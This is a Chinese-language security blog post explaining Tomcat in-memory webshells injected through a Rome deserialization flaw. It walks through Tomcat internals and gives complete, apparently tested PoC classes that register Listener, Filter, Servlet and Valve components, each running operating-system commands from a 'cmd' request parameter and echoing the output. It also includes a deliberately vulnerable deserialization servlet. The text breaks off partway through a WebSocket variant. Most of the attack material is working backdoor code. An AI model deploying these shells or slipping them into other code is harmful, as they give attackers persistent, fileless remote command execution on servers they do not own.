Tomcat内存马

前言

本文对 Tomcat 的各种内存马进行了简单学习和整理,所给出的 PoC 代码均已通过反序列化注入的方式测试成功。

环境

引入依赖以及环境如下:

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <java.version>8</java.version>
        <tomcat.version>9.0.60</tomcat.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>${tomcat.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
            <version>${tomcat.version}</version>
        </dependency>
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
    </dependencies>

例子以 rome 的反序列化漏洞为例进行内存马的注入。反序列化入口点为:

@WebServlet(urlPatterns = "/un")
public class UnServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String payload = req.getParameter("payload");
        byte[] decode = Base64.getUrlDecoder().decode(payload);
        try(ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decode))) {
            objectInputStream.readObject();
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }
}

如果读者不懂 rome 漏洞的话,可以先去简单学习一下,或者我改天再整理整理。

Context

这里用一句话就可以大致概括 ServletContext 、ApplicationContext、StandardContext 三者的关系:

ServletContext 是一个接口,由 ApplicationContext 实现,ApplicationContext 有 context 字段,是 StandardContext 类型,ApplicationContext 的 context 操作实际上是调用了 StandardContext,下面就是通过反射获取到 StandardContext

Listener 内存马

就先从最简单也最实用的 Listener 内存马开始介绍吧。

首先在 Listener 上下断点,然后观察一下调用栈。

idea64_hwZjzUCI03

分析 Listener 被调用:

先来看 StandardContext#fireRequestInitEvent(ServletRequest request) 这处,可以知道通过 getApplicationEventListeners 获取 Listeners 实例数组

idea64_0nLaHA6rYC

而跟进 getApplicationEventListeners 可以发现返回的是 applicationEventListenersList 属性转换的数组。applicationEventListenersList 是 StandardContext 的一个私有字段的 List<Object>

idea64_emcG9317SP

也就是说,只要我们能够在 StandardContext 的 applicationEventListenersList 添加一个 Listener 对象,那么就会被实例化

那么怎么获得 StandardContext 呢,我们不妨看看调用栈的上一层,也就是 StandardHostValve 是怎么调用的吧。

idea64_05jBzUAxli

用 IDEA 可以往上找几行很容易发现在 StandardHostValve 类中是用 request.getContext(); 获得 context 对象

idea64_0HpqVbtS9u

这下就明朗了,如果我们想要通过 StandardContext 添加恶意的 Listener,可以通过 request 对象来获得。但是我们怎么获得 request 对象呢?

ThreadLocal

参考前辈们的思路,可以发现在 org.apache.catalina.core.ApplicationFilterChain 中拥有 lastServicedRequestlastServicedResponse 与当前线程相关的静态属性变量

idea64_WVifin7U20

并且该类的私有方法 internalDoFilter 会将 request 和 response 对象引用给 lastServicedRequest 和 lastServicedResponse

idea64_LXbJZ0jU7t

为了满足上面的 if 语句,我们可以通过反射操作修改 ApplicationDispatcher.WRAP_SAME_OBJECT 的值,并且通过 ThreadLocal#set 方法将request和response对象存储到变量中,然后通过 ThreadLocal#get 方法将 request 和 response 对象从 lastServicedRequestlastServicedResponse 中取出。

不过需要注意的是 WRAP_SAME_OBJECT 是被 final 修饰的,我们需要通过反射将 final 修饰符去掉。

idea64_hcx95kni8k

如下代码即可获得 StandardContext

    static {
        try {

            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            // 去掉 final 修饰符
            modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);

            WRAP_SAME_OBJECT.setAccessible(true);
            WRAP_SAME_OBJECT.setBoolean(null, true);


            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);

            if (lastServicedRequest.get(null) == null) {
                lastServicedRequest.set(null, new ThreadLocal<>());
            }

            if (lastServicedResponse.get(null) == null) {
                lastServicedResponse.set(null, new ThreadLocal<>());
            }
            // 获得 standardContext
            ThreadLocal threadLocal;
            if((threadLocal = (ThreadLocal)lastServicedRequest.get(null))!=null){
                ServletRequest request = threadLocal.get();
                ServletContext servletContext = request.getServletContext();
                // ServletContext 是一个接口,由 ApplicationContext 实现,ApplicationContext 有 context 字段,是 StandardContext 类型,ApplicationContext 的 context 操作实际上是调用了 StandardContext,下面就是通过反射获取到 StandardContext
                Field appContextField = servletContext.getClass().getDeclaredField("context");
                appContextField.setAccessible(true);
                ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
                Field standardContextField = applicationContext.getClass().getDeclaredField("context");
                standardContextField.setAccessible(true);
                StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

接下来我们要做的就是通过 ThreadLocal 取出保存在 lastServicedResponse 的 responese 对象,并添加恶意的 Listener 对象。下面给出完整的代码,重复注入两次即可成功。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;


import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

/**
 * @author Shule
 * CreateTime: 2023/9/1 15:45
 */
public class ThreadLocalInject extends AbstractTranslet implements ServletRequestListener {
    public static ServletResponse response;
    static {
        try {
            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            // 去掉 final 修饰符
            modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);

            WRAP_SAME_OBJECT.setAccessible(true);
            WRAP_SAME_OBJECT.setBoolean(null, true);


            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);

            if (lastServicedRequest.get(null) == null) {
                lastServicedRequest.set(null, new ThreadLocal<>());
            }

            if (lastServicedResponse.get(null) == null) {
                lastServicedResponse.set(null, new ThreadLocal<>());
            }
            ThreadLocal threadLocal;

            if((threadLocal = (ThreadLocal)lastServicedRequest.get(null))!=null){
                ServletRequest request = (ServletRequest) threadLocal.get();
                ServletContext servletContext = request.getServletContext();
                Field appContextField = servletContext.getClass().getDeclaredField("context");
                appContextField.setAccessible(true);
                ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
                Field standardContextField = applicationContext.getClass().getDeclaredField("context");
                standardContextField.setAccessible(true);
                StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
                standardContext.addApplicationEventListener(new ThreadLocalInject());
            }

            ThreadLocal threadLocalResp;
            if ((threadLocalResp = (ThreadLocal) lastServicedResponse.get(null))!=null){
                response = (ServletResponse)threadLocalResp.get();
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                response.setContentType("text/html; charset=UTF-8");
                PrintWriter writer = response.getWriter();
                Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

这种方式构造虽然繁琐,但是可以获得回显。

firefox_Nczgmf2lgj

WebappClassLoaderBase

在 tomcat 8、9 中我们可以使用较为简便的方法获得 StandardContext。由于 tomcat 在处理线程的请求中存在 ContextLoader,而这个对象又保存了 StandardContext 所以可以很方便的获取。只需要下面这两行

        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

拥有 StandardContext 已经足够让我们注入 Listener 内存马了,不过我们还没有得到 response 对象。ThreadLocal 的方式既获得了 StandardContext 也顺便获得了 request 和 response 对象。参考大佬博客大概是通过获取 AbstractProcessor 类中的全局 Response,分析很复杂,我表示一时半会理解不了,修改了一下,最终得到如下的 POC。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

/**
 * @author Shule
 * CreateTime: 2023/9/1 18:53
 */
public class WebappClassLoaderBaseInject extends AbstractTranslet implements ServletRequestListener {
    public static ServletResponse response;
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
        try {
            //获取ApplicationContext
            Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext);

            //获取StandardService
            Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            standardServiceField.setAccessible(true);
            StandardService standardService = (StandardService) standardServiceField.get(applicationContext);

            //获取Connector
            Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
            connectorsField.setAccessible(true);
            Connector[] connectors = (Connector[]) connectorsField.get(standardService);
            Connector connector = connectors[0];

            //获取Handler
            ProtocolHandler protocolHandler = connector.getProtocolHandler();
            Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
            handlerField.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

            //获取内部类AbstractProtocol$ConnectionHandler的global属性
            Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
            globalHandler.setAccessible(true);
            RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);

            //获取processors
            Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processorsField.setAccessible(true);
            List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);

            //获取request和response
            Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            requestField.setAccessible(true);
            for (RequestInfo requestInfo : requestInfoList){

                //获取org.apache.coyote.Request
                org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);

                //通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
                org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
                response = http_request.getResponse();
            }
            standardContext.addApplicationEventListener(new WebappClassLoaderBaseInject());
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                response.setContentType("text/html; charset=UTF-8");
                PrintWriter writer = response.getWriter();
                Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

通过反序列化注入一次即可成功

firefox_D5mAZBMt2J

Filter 内存马

在介绍 Filter 内存马之前,有几个重要的对象先要介绍一下,留个大体印象。

ApplicationFilterConfig (filterConfig)

ApplicationFilterConfig 对象在源码中的变量名为 filterConfig,在该对象中存有 StandardContext 和 FilterDef,并且可以通过 FilterDef 获得 Filter 对象

idea64_cfi5xvcGhl

还可以注意到这个类大体是对 FilterDef 和 context 的封装,毕竟很多地方都调用了 filterDef

idea64_oiXe4hJQLb

FilterDef (filterDef)

FilterDef 对象在源码中的变量名为 filterDef。在 FilterDef 只存储了 Filter 对象,但是包括 filterName、filterClass 的属性。顾名思义,该类是对 Filter 的封装并且增加了一些定义

idea64_jUQWjAa7YR

ApplicationFilterChain (filterChain)

ApplicationFilterChain 对象在源码中的变量名为 filterChain。在这个类中我们只需要注意其保存了一个 ApplicationFilterConfig 数组,变量名为 filters。

idea64_14EboVGQ3k

FilterMap

在这个对象中定义了确定了 filter 的名字与拦截路由的对应关系。主要有 filterName 和 urlPatterns 的属性。

idea64_XaYVP6XAcm

StandardContext (context)

StandardContext 对象在源码中的变量名常为 context。在介绍前面的内容时,我们已经比较熟悉 StandardContext 了,不过在这里我们要再来注意一下 context 中的内容。可以发现在 context 中可以存储了 ApplicationFilterConfig 和 filterMaps

idea64_yZYrnxQ2N4

分析

现在我们来分析一下 Filter 的调用栈:

idea64_SfefnvkG9I

我们首先来看 ApplicationFilterChain 的部分,可以发现最终通过 filter 的来拦截路由是从 filterConfig 中取出 filter 的。

idea64_QmLLwteyeo

而 filterConfig 又是从该类的 filters 属性也就是 ApplicationFilterConfig 数组中获得。

idea64_5WtALRXJor

我们再来看 StandardWrapperValve 的部分,可以看到代码定位在这一行

idea64_iRb5lbcOjZ

我们不妨接着往前看,这个 filterChain 是哪里来的。

再往上几行就可以看到,是调用了 createFilterChain 方法

idea64_iw2STEktkS

跟进 createFilterChain 分析一下

public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {
            ...
        // Create and initialize a filter chain object
            ...
            // Request dispatcher in use
            filterChain = new ApplicationFilterChain();
        ...

        ...
        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();

            ...

        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {
            ...
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            ...
            filterChain.addFilter(filterConfig);
        }

        // Add filters that match on servlet name second
        ...

        // Return the completed filter chain
        return filterChain;
    }

我省略了一些不太紧要的代码和 if 判断语句,也不难看出 createFilterChain 也就是创建 ApplicationFilterChain 主要有这几个步骤:

  1. FilterMap filterMaps[] = context.findFilterMaps(); 获取 FilterMap 对象,后续用于通过该对象中的 filtername 取出对应的 filterConfig
  2. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); 取出 filterConfig
  3. filterChain.addFilter(filterConfig); # 也就是添加 ApplicationFilterConfig

既然已经发现可以从 context 中获得这些内容,我们也可同样的通过反射放入这些内容,实现 Filter 内存马的注入。步骤也大概如下:

  1. 创建一个恶意的 Filter 对象
  2. 将 Filter 封装到 FilterDef 中,再将 FilterDef 放到 context 并封装到 FilterConfig 中。
  3. 创建 FilterMap 对象并放到 context 中,确定 filterName 与 path 的关系。
  4. 将 FilterConfig 通过反射的方式注入到 context 的 filterconfigs 中。

这里需要注意第二步和第三步的顺序是不能改变的,原因是在还没有将 filter 放到 context 中 filterMap 是无法注册的,会有校验。

idea64_WMT4MLD5nP

校验如下:

idea64_d7Y8rcfZaR

至于怎么获得 context 用 Listener 中介绍的方法即可。

这里放上完整的 POC

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;


/**
 * @author Shule
 * CreateTime: 2023/9/4 11:23
 */
public class TomcatFilterInject extends AbstractTranslet implements Filter {
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

        TomcatFilterInject filter = new TomcatFilterInject();
        String filterName = "Poc";

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMap(filterMap);

        try {
            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            // 由于 ApplicationFilterConfig 的构造器修饰符是 default
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
            filterConfigs.put(filterName, filterConfig);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        response.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = response.getWriter();
        if (cmd != null) {
            try {
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                //将命令执行结果写入扫描器并读取所有输入
                java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

将上述的类反序列化注入一次即可成功

firefox_ZO0W2WwFKZ

Servlet 内存马

研究学习了很久,还是一知半解。分析流程就不去细究了。直接动态记录一下注册 Servlet 的结论:

  1. 获取 StandardContext 对象
  2. 编写恶意Servlet
  3. 通过 StandardContext.createWrapper() 创建 StandardWrapper 对象
  4. 设置 StandardWrapper 对象的 loadOnStartup 属性值
  5. 设置 StandardWrapper 对象的 ServletName 属性值
  6. 设置 StandardWrapper 对象的 ServletClass 属性值
  7. StandardWrapper 对象添加进 StandardContext 对象的 children 属性中
  8. 通过 StandardContext.addServletMappingDecoded() 添加对应的路径映射

完整的 PoC 如下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;
import org.apache.catalina.loader.WebappClassLoaderBase;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;

/**
 * @author Shule
 * CreateTime: 2023/9/4 16:05
 */
public class TomcatInjectServlet extends AbstractTranslet implements Servlet {
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
        StandardWrapper standardWrapper = (StandardWrapper)standardContext.createWrapper();
        standardWrapper.setLoadOnStartup(1);
        TomcatInjectServlet evilServlet = new TomcatInjectServlet();
        String servletName = evilServlet.getClass().getSimpleName();
        standardWrapper.setServletName(servletName);
        standardWrapper.setServletClass(evilServlet.getClass().getName());
        standardWrapper.setServlet(evilServlet);
        standardContext.addChild(standardWrapper);
        standardContext.addServletMappingDecoded("/shell",servletName);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        servletResponse.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = servletResponse.getWriter();
        if (cmd !=null){
            try {
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                //将命令执行结果写入扫描器并读取所有输入
                java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

注入一次即可成功

firefox_ymPdWts3pl

Valve 内存马

我们知道 tomcat 中包含有四种子容器:EngineHostContextWrapper,在这四种容器之间的消息传递是通过 tomcat 的管道机制来实现,这个管道机制类似于 Java EE 中的过滤器(Filter)和拦截器(Interceptor)机制。

Tomcat 管道机制的主要组成部分和工作原理:

  1. Connector(连接器):连接器是 Tomcat 接受传入请求的组件。Tomcat 支持多种连接器,如 HTTP、AJP(Apache JServ Protocol)等。每个连接器负责监听特定的端口和协议。
  2. Container(容器):容器是一个 Servlet 容器,负责管理和执行 Servlet 和 JSP。Tomcat 中有多个容器,其中包括 Engine、Host 和 Context。Engine 表示整个 Tomcat 服务器,Host 表示虚拟主机,而 Context 表示 Web 应用程序上下文。
  3. Valve(阀门):阀门是用于处理请求和响应的组件,它们位于容器内部,沿着处理管道的路径执行。每个阀门都实现了 Valve 接口,可以进行自定义配置和扩展。Tomcat 有多个内置的阀门,如请求日志、安全性检查等。
  4. Pipeline(管道):管道是连接器、容器和阀门之间的交互机制。它定义了请求和响应在经过一系列阀门后的处理流程。Tomcat 的处理管道通常包括以下阶段:
  5. Request(请求)阶段:在这个阶段,请求首先经过连接器,然后进入容器,经过一系列请求阀门的处理。请求阶段可以包括身份验证、授权等任务。
  6. Container(容器)阶段:在这个阶段,容器负责查找适当的 Servlet 或 JSP 并执行它们。容器阶段不同于阀门,它是处理 Servlet 请求的核心部分。
  7. Response(响应)阶段:在容器阶段执行完后,响应进入管道的 Response 阶段,经过一系列响应阀门的处理。响应阶段可以包括内容压缩、响应头的添加等任务。

我们可以通过注册 Valve 进行内存马的注入。步骤如下:

  1. 创建恶意的 Valve,设置恶意的 invoke 代码
  2. 获取 StandardContext
  3. 从 StandardContext 中获取 Pipeline
  4. 将 Valve 注册到 Pipeline

完整 PoC 如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Contained;
import org.apache.catalina.Container;
import org.apache.catalina.Pipeline;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;


import javax.servlet.ServletException;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;

/**
 * @author Shule
 * CreateTime: 2023/9/4 17:22
 */
public class TomcatInjectValve extends AbstractTranslet implements Contained, Valve {
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
        Pipeline pipeline = standardContext.getPipeline();
        pipeline.addValve(new TomcatInjectValve());
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    @Override
    public Container getContainer() {
        return null;
    }

    @Override
    public void setContainer(Container container) {

    }

    @Override
    public Valve getNext() {
        return null;
    }

    @Override
    public void setNext(Valve valve) {

    }

    @Override
    public void backgroundProcess() {

    }

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        response.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = response.getWriter();
        if (cmd !=null){
            try {
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                //将命令执行结果写入扫描器并读取所有输入
                java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public boolean isAsyncSupported() {
        return false;
    }
}

注入一次即可成功,访问任意路径下均可

firefox_lFJZeOudyf

WebSocket 内存马

这是 veo 大佬研究出来的成果 https://github.com/veo/wsMemShell/

在测试环境的原本的 Maven 依赖中添加

        <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-websocket</artifactId>
            <version>${tomcat.version}</version>
        </dependency>

由于 Tomcat 在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 classpath下带有 @ServerEndpoint注解的类进行 addEndpoint加入websocket服务,因此我们也可也在服务启动后动态添加 WebSocket 服务。

而且非常简单只需要三步。创建一个ServerEndpointConfig,获取ws ServerContainer,加入 ServerEndpointConfig,即可

ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build();
ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
container.addEndpoint(config);

具体原理参考这里即可:https://xz.aliyun.com/t/11549#toc-3

这里直接使用下面的类,反序列化注入即可。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class WsCmd extends AbstractTranslet {
    static {
        try {
            String urlPath = "/cmd";
